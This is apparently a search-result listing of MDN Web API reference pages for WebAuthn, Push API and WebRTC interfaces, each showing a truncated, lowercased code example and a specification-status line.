... living standard initial definition.
PromiseRejectionEvent - Web APIs
window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'promiserejectionevent' in that specification.
... living standard initial definition.
Proximity Events - Web APIs
example window.addeventlistener('userproximity', function(event) { if (event.near) { // let's power off the screen navigator.mozpower.screenenabled = false; } else { // otherwise, let's power on the screen navigator.mozpower.screenenabled = true; } }); specifications specification status comment proximity sensorthe definition of 'proximity events' in that specification.
... working draft initial specification ...
PublicKeyCredential.getClientExtensionResults() - Web APIs
n (newcredentialinfo) { var mybuffer = newcredentialinfo.getclientextensionresults(); // mybuffer will contain the result of any of the processing of the "loc" and "uvi" extensions }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'getclientextensionresults()' in that specification.
... recommendation initial definition.
PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable() - Web APIs
publickeycredential // with this authenticator } else { // use another kind of authenticator or a classical login/password // workflow } }).catch(function(err){ // something went wrong console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'isuserverifyingplatformauthenticatoravailable' in that specification.
... recommendation initial definition.
PublicKeyCredential.rawId - Web APIs
alg: -7 } ] }; navigator.credentials.create({ publickey: options }) .then(function (pubkeycredential) { var rawid = pubkeycredential.rawid; // do something with rawid }).catch(function (err) { // deal with any error }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rawid' in that specification.
... recommendation initial definition.
PublicKeyCredential.response - Web APIs
ponse; var clientextresults = pubkeycredential.getclientextensionresults(); // send response and client extensions to the server so that it can validate // and create credentials }).catch(function (err) { // deal with any error }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'response' in that specification.
... recommendation initial definition.
PublicKeyCredential - Web APIs
redentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'publickeycredential interface' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.attestation - Web APIs
({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'attestation' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.authenticatorSelection - Web APIs
({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorselection' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.challenge - Web APIs
({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'challenge' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'excludecredentials' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.extensions - Web APIs
ffer = newcredentialinfo.getclientextensionresults(); // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'extensions' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.pubKeyCredParams - Web APIs
({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'pubkeycredparams' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.rp - Web APIs
({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rp' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.timeout - Web APIs
({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'timeout' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions.user - Web APIs
({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'user' in that specification.
... recommendation initial definition.
PublicKeyCredentialCreationOptions - Web APIs
sults(); // send the response to the relying party server // it will verify the content and integrity before // creating a new credential }).catch(function (err) { // deal with any error properly console.error(err); });; specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'publickeycredentialcreationoptions dictionary' in that specification.
... recommendation initial definition.
PublicKeyCredentialRequestOptions.allowCredentials - Web APIs
credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'allowcredentials' in that specification.
... recommendation initial definition.
PublicKeyCredentialRequestOptions.challenge - Web APIs
redentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'challenge' in that specification.
... recommendation initial definition.
PublicKeyCredentialRequestOptions.extensions - Web APIs
redentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'extensions' in that specification.
... recommendation initial definition.
PublicKeyCredentialRequestOptions.rpId - Web APIs
credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rpid' in that specification.
... recommendation initial definition.
PublicKeyCredentialRequestOptions.timeout - Web APIs
credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'timeout' in that specification.
... recommendation initial definition.
PublicKeyCredentialRequestOptions.userVerification - Web APIs
credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'userverification' in that specification.
... recommendation initial definition.
PublicKeyCredentialRequestOptions - Web APIs
redentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'publickeycredentialrequestoptions dictionary' in that specification.
... recommendation initial definition.
PushEvent.data - Web APIs
WebAPIPushEventdata
var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment push apithe definition of 'data' in that specification.
... working draft initial definition.
PushEvent - Web APIs
WebAPIPushEvent
notification = new self.notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment push apithe definition of 'pushevent' in that specification.
... working draft initial definition.
PushManager.getSubscription() - Web APIs
mand(subscription); // set your ui to show they have subscribed for // push messages pushbutton.textcontent = 'disable push messages'; ispushenabled = true; }) .catch(function(err) { window.demo.debug.log('error during getsubscription()', err); }); }); specifications specification status comment push apithe definition of 'getsubscription()' in that specification.
... working draft initial definition.
PushManager.permissionState() - Web APIs
specifications specification status comment push apithe definition of 'permissionstate()' in that specification.
... working draft initial definition.
PushManager.subscribe() - Web APIs
specifications specification status comment push apithe definition of 'subscribe()' in that specification.
... working draft initial definition.
PushManager.supportedContentEncodings - Web APIs
specifications specification status comment push apithe definition of 'supportedcontentencodings' in that specification.
... working draft initial definition.
PushManager - Web APIs
console.log(error); } ); }); specifications specification status comment push apithe definition of 'pushmanager' in that specification.
... working draft initial definition.
PushMessageData.arrayBuffer() - Web APIs
examples self.addeventlistener('push', function(event) { var buffer = event.data.arraybuffer(); // do something with your array buffer }); specifications specification status comment push apithe definition of 'arraybuffer()' in that specification.
... working draft initial definition.
PushMessageData.blob() - Web APIs
examples self.addeventlistener('push', function(event) { var blob = event.data.blob(); // do something with your blob }); specifications specification status comment push apithe definition of 'blob()' in that specification.
... working draft initial definition.
PushMessageData.json() - Web APIs
examples self.addeventlistener('push', function(event) { var mydata = event.data.json(); // do something with your data }); specifications specification status comment push apithe definition of 'json()' in that specification.
... working draft initial definition.
PushMessageData.text() - Web APIs
examples self.addeventlistener('push', function(event) { var textobj = event.data.text(); // do something with your text }); specifications specification status comment push apithe definition of 'text()' in that specification.
... working draft initial definition.
PushMessageData - Web APIs
examples self.addeventlistener('push', function(event) { var obj = event.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { firenotification(obj, event); port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); specifications specification status comment push apithe definition of 'pushmessagedata' in that specification.
... working draft initial definition.
PushSubscription.endpoint - Web APIs
tion(reg) { reg.pushmanager.subscribe({uservisibleonly: true}).then(function(subscription) { console.log(subscription.endpoint); // at this point you would most likely send the subscription // endpoint to your server, save it, then use it to send a // push message at a later date }) }) specifications specification status comment push apithe definition of 'endpoint' in that specification.
... working draft initial definition.
PushSubscription.expirationTime - Web APIs
specifications specification status comment push apithe definition of 'expirationtime' in that specification.
... working draft initial definition.
PushSubscription.options - Web APIs
specifications specification status comment push apithe definition of 'options' in that specification.
... working draft initial definition.
PushSubscription.unsubscribe() - Web APIs
example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { subscription.unsubscribe().then(function(successful) { // you've successfully unsubscribed }).catch(function(e) { // unsubscription failed }) }) }); specifications specification status comment push apithe definition of 'unsubscribe()' in that specification.
... working draft initial definition.
PushSubscription - Web APIs
example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { subscription.unsubscribe().then(function(successful) { // you've successfully unsubscribed }).catch(function(e) { // unsubscription failed }) }) }); specifications specification status comment push apithe definition of 'pushsubscription' in that specification.
... working draft initial definition ...
RTCAnswerOptions - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcansweroptions' in that specification.
... candidate recommendation initial definition.
RTCConfiguration.bundlePolicy - Web APIs
let config = { iceservers: [ { urls: [ "stun:stun.example.com" ] }, ], bundlepolicy: "max-compat" }; let pc = new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.bundlepolicy' in that specification.
... candidate recommendation initial definition.
RTCConfiguration.certificates - Web APIs
<<<--- add link to information about identity --->>> examples specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.certificates' in that specification.
... candidate recommendation initial definition.
RTCConfiguration.iceServers - Web APIs
username: "louis@mozilla.com", credential: "webrtcdemo" }, { urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc = new rtcpeerconnection(configuration); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.iceservers' in that specification.
... candidate recommendation initial definition.
RTCConfiguration.iceTransportPolicy - Web APIs
let config = { iceservers: [ { urls: [ "stun:stun.example.com" ] }, ], icetransportpolicy: "relay" }; let pc = new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtccandidate.icetransportpolicy' in that specification.
... candidate recommendation initial definition.
RTCDTMFSender: tonechange event - Web APIs
tone; }, false); you can also just set the ontonechange event handler property directly: dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'tonechange' in that specification.
... candidate recommendation definition for the webrtc api ...
RTCDTMFToneChangeEvent.tone - Web APIs
dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmftonechangeevent.tone' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.binaryType - Web APIs
peerconnection.createdatachannel("binary"); dc.binarytype = "arraybuffer"; dc.onmessage = function(event) { let bytearray = new uint8array(event.data); let hexstring = ""; bytearray.foreach(function(byte) { hexstring += byte.tostring(16) + " "; }); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.binarytype' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.bufferedAmount - Web APIs
*/ function showbufferedamount(channel) { let el = document.getelementbyid("buffersize"); el.innerhtml = channel.bufferedamount + " bytes"; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.bufferedamount' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.bufferedAmountLowThreshold - Web APIs
var dc = peerconnection.createdatachannel("file transfer"); dc.bufferedamountlowthreshold = 65535; dc.onbufferedamountlow = function() { /* use send() to queue more data to be sent */ }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.bufferedamountlowthreshold' in that specification.
... candidate recommendation initial specification.
RTCDataChannel: close event - Web APIs
you can also use the onclose event handler property to set a handler for close events: dc.onclose = ev => { messageinputbox.disabled = true; sendbutton.disabled = true; connectbutton.disabled = false; disconnectbutton.disabled = true; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'close' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.id - Web APIs
WebAPIRTCDataChannelid
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); console.log("channel id: " + dc.id); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.id' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.label - Web APIs
*/ document.getelementbyid("channel-name").innerhtml = "<span class='channelname'>" + dc.label + "</span>"; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.label' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.maxPacketLifeTime - Web APIs
example // tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.maxpacketlifetime' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.maxRetransmits - Web APIs
example // tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.maxretransmits' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.negotiated - Web APIs
if (datachannel.negotiated) { shutdownremotechannel(datachannel.id); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.negotiated' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onbufferedamountlow - Web APIs
*/ dc.onbufferedamountlow = function() { if (source.position <= source.length) { dc.send(source.readfile(65536)); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onbufferedamountlow' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onclose - Web APIs
*/ specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onclose' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onclosing - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onclosing' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onerror - Web APIs
*/ specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onerror' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onmessage - Web APIs
let pc = new rtcpeerconnection(); let dc = pc.createdatachannel(); dc.onmessage = function(event) { var el = document.createelement("p"); var txtnode = document.createtextnode(event.data); el.appendchild(txtnode); receivebox.appendchild(el); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onmessage' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.onopen - Web APIs
datachannel("message channel"); dc.onopen = function(event) { let messagebox = document.getelementbyid("messagebox"); let sendbutton = document.getelementbyid("sendbutton"); messagebox.disabled = false; messagebox.focus(); sendbutton.disabled = false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onopen' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.protocol - Web APIs
nel("my channel", { protocol: "json" }); function handlechannelmessage(datachannel, msg) { switch(datachannel.protocol) { case "json": /* process json data */ break; case "raw": /* process raw binary data */ break; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.protocol' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.readyState - Web APIs
attempt to send while connection closed."); break; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.readystate' in that specification.
... candidate recommendation initial specification.
RTCDataChannelEvent.channel - Web APIs
pc.ondatachannel = function(event) { inbounddatachannel = event.channel; inbounddatachannel.onmessage = handleincomingmessage; inbounddatachannel.onopen = handlechannelopen; inbounddatachannel.onclose = handlechannelclose; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannelevent.channel' in that specification.
... candidate recommendation initial specification.
RTCDataChannelEvent - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannelevent' in that specification.
... candidate recommendation initial definition.
RTCDtlsTransport.iceTransport - Web APIs
examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtlstransport.icetransport' in that specification.
... candidate recommendation initial definition.
RTCErrorEvent.error - Web APIs
you can also use the rtcdatachannel object's onerror event handler property, like this: datachannel.onerror = (event) => { let error = event.error; /* and so forth */ }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcerrorevent.error' in that specification.
... candidate recommendation initial definition.
RTCErrorEvent - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcerrorevent' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.address - Web APIs
if (ipbanlist.includes(candidate.address)) { rejectcandidate(candidate); } else { acceptcandidate(candidate); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate: address' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.candidate - Web APIs
xample could be simplified somewhat; you may more often see the code look something like this, taking advantage of more advanced ecmascript 2016 features: let handlenewicecandidate = candidatesdp => mypeerconnection.addicecandidate(new rtcicecandidate(candidatesdp)); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.candidate' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.component - Web APIs
if (candidate.component == "rtp") { handlertpcandidate(candidate); } else if (candidate.component == "rtcp") { handlertcpcandidate(candidate); } else { handleunknowncandidate(candidate); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.component' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.foundation - Web APIs
if (candidate1.foundation == candidate2.foundation) { /* the two candidates are the same, even if they're on different transports */ } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.foundation' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.protocol - Web APIs
if (candidate.protocol == "tcp") { if (candidate.tcptype == "so") { adjustforsimultaneousopen(candidate); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.protocol' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.relatedAddress - Web APIs
dress is " + candidate.relatedaddress + "; reachable at " + candidate.ip); break; case "relay": console.log("relay candidate's address assigned by the turn server is " + candidate.relatedaddress + "; reachable at " + candidate.ip); break; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.relatedaddress' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.relatedPort - Web APIs
ar relport = candidate.relatedport; if (relip && relport) { console.log("candidate type '" + type + "' -- contact address: " + ip + " " + port + ", related address: " + relip + " " + relport); } else { console.log("host candidate address is " + ip + " " + port); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.relatedport' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.tcpType - Web APIs
if (candidate.protocol == "tcp" && candidate.tcptype == "so") { adjustforsimultaneousopen(candidate); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.tcptype' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.type - Web APIs
if (candidate.type == "host") { showhostcontrols(); } else { hidehostcontrols(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.type' in that specification.
... candidate recommendation initial definition.
RTCIceCandidatePair.local - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidatepair.local' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePair.remote - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidatepair.remote' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePair - Web APIs
emote-protocol"); icetransport.onselectedcandidatepairchange = function(event) { var pair = icetransport.getselectedcandidatepair(); localprotocol.innertext = pair.local.protocol.touppercase(); remoteprotocol.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidatepair' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.availableIncomingBitrate - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.availableincomingbitrate' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.availableOutgoingBitrate - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.availableoutgoingbitrate' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.bytesReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.bytesreceived' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.bytesSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.bytessent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.circuitBreakerTriggerCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.circuitbreakertriggercount' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.consentExpiredTimestamp - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.consentexpiredtimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.consentRequestsSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.consentrequestssent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.firstRequestTimestamp - Web APIs
ttimestamp and requestssent to compute the average interval between consecutive connectivity checks: avgcheckinterval = (candidatepairstats.lastrequesttimestamp - candidatepairstats.firstrequesttimestamp) / candidatepairstats.requestssent; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.firstrequesttimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.lastPacketReceivedTimestamp - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.lastpacketreceivedtimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.lastPacketSentTimestamp - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.lastpacketsenttimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.lastRequestTimestamp - Web APIs
ttimestamp and requestssent to compute the average interval between consecutive connectivity checks: avgcheckinterval = (candidatepairstats.lastrequesttimestamp - candidatepairstats.firstrequesttimestamp) / candidatepairstats.requestssent; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.lastrequesttimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.lastResponseTimestamp - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.lastresponsetimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.localCandidateId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.localcandidateid' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.nominated - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.nominated' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.packetsReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.packetsreceived' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.packetsSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.packetssent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.priority - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.priority' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.remoteCandidateId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.remotecandidateid' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.requestsReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.requestsreceived' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.requestsSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.requestssent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.responsesReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.responsesreceived' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.responsesSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.responsessent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.retransmissionsReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.retransmissionsreceived' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.retransmissionsSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.retransmissionssent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.state - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.state' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.totalRoundTripTime - Web APIs
you can calculate the average round-trip time (rtt) by dividing this value by the value of the responsesreceived property: rtt = rtcicecandidatepairstats.totalroundtriptime / rtcicecandidatepairstats.responsesreceived; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.totalroundtriptime' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.transportId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.transportid' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.address - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.address' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.candidateType - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.candidatetype' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.deleted - Web APIs
tatname !== "id" && statname !== "timestamp" && statname !== "type") { statsoutput += `<strong>${statname}:</strong> ${report[statname]}<br>\n`; } }); } }); document.queryselector(".stats-box").innerhtml = statsoutput; }); }, 1000); specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.deleted' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.port - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.port' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.priority - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.port' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.protocol - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.protocol' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.relayProtocol - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.relayprotocol' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.transportId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.transportid' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.url - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.url' in that specification.
... candidate recommendation initial specification.
